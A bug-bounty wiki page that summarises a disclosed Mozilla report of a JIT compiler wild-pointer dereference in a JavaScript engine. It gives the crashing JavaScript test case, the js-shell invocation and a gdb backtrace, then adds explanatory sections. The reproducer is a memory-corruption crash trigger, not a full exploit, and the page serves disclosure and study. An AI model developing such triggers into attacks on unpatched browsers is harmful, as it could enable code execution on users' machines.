Wild pointer-deref from jitted code
A JavaScript engine's just-in-time (JIT) compiler generated code that dereferenced a wild pointer, causing a crash. An attacker could potentially exploit this to execute arbitrary code or cause a denial of service.
Originally disclosed on Mozilla
- Fixed in 4 days
- Paid in 9 days
- Disclosed after 4 days
Steps to reproduce:
On git commit 6d5114b3ba4e5c3414a19419ca1d0170ca149b13 the attached sample crashes the js-shell when invoked as `obj-x86_64-pc-linux-gnu/dist/bin/js --fast-warmup --fuzzing-safe crash.js`. The crash is caused by a wild pointer deref from jitted code; e.g. when attempting to access `0x9cc00d6602f`.
I'm running a bisect now and will provide an update regarding the regression range.
'''
function f9(a10) {
for (let i13 = 1000; i13-- > 0;) {
(`(f32.neg`).slice(a10).search(undefined);
}
}
f9(1);
f9(-1);
'''
'''
(gdb) x/i $rip
=> 0x2e17391d924d: movzx r10d,WORD PTR [r12]
(gdb) i r r12
r12 0x9cc00d6602f 10771792027695
(gdb) x/x 0x9cc00d6602f
0x9cc00d6602f: Cannot access memory at address 0x9cc00d6602f
#0 0x00002e17391d924d in ?? ()
#1 0x0000000000000001 in ?? ()
#2 0x000009cb00d63040 in ?? ()
#3 0x00007fffffffc630 in ?? ()
#4 0x00007ffff4f7d600 in ?? ()
#5 0x00007fff00000000 in ?? ()
#6 0x00005555590de150 in ?? ()
#7 0xfff8000100000072 in ?? ()
#8 0x00005555590de210 in JSFunctionClassSpec ()
#9 0x00000001ffffc170 in ?? ()
#10 0x000055555814ea13 in js::BaseScript::sourceStart (this=<optimized out>)
at js/src/jit/JitHints-inl.h:21
#11 js::jit::JitHintsMap::getScriptKey (this=<optimized out>, script=0xffffffff)
at js/src/jit/JitHints-inl.h:22
#12 0x00002e17391577a5 in ?? ()
#13 0x0000000000000025 in ?? ()
#14 0x00001048bc800650 in ?? ()
#15 0xfff9800000000000 in ?? ()
#16 0xfff88000ffffffff in ?? ()
#17 0xfff9800000000000 in ?? ()
#18 0xfff9800000000000 in ?? ()
#19 0x00007fffffffc220 in ?? ()
#20 0x00002e1739157d81 in ?? ()
#21 0x0000000000000023 in ?? ()
#22 0x00001048bc800650 in ?? ()
#23 0xfff9800000000000 in ?? ()
#24 0xfff88000ffffffff in ?? ()
#25 0x00007fffffffc290 in ?? ()
#26 0x00002e1739157720 in ?? ()
#27 0x00007ffff6039100 in ?? ()
#28 0x00002e1739157c10 in ?? ()
#29 0x0000000000000002 in ?? ()
#30 0x00007fffffffc630 in ?? ()
#31 0x00007fffffffc580 in ?? ()
#32 0x0000555558803ae6 in EnterJit (cx=0x7fffffffc190, state=...,
code=0xfff9800000000000 <error: Cannot access memory at address 0xfff9800000000000>)
at js/src/jit/Jit.cpp:115
#33 js::jit::MaybeEnterJit (cx=0x7fffffffc190, state=...) at js/src/jit/Jit.cpp:261
'''
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a bug in the JIT compiler's handling of string operations (slice and search) leading to incorrect pointer arithmetic.
What the attacker needed
Ability to run JavaScript in the affected engine
How it was found
- Run the js-shell with the provided flags and a crafted JavaScript file.
- The script defines a function that loops and calls slice and search on a string.
- Calling the function with different arguments triggers the crash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A JavaScript engine compiles hot code to machine code for speed. A bug in that compiler produced code that read from an invalid memory address, crashing the program. This kind of flaw can sometimes be turned into running attacker-controlled code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.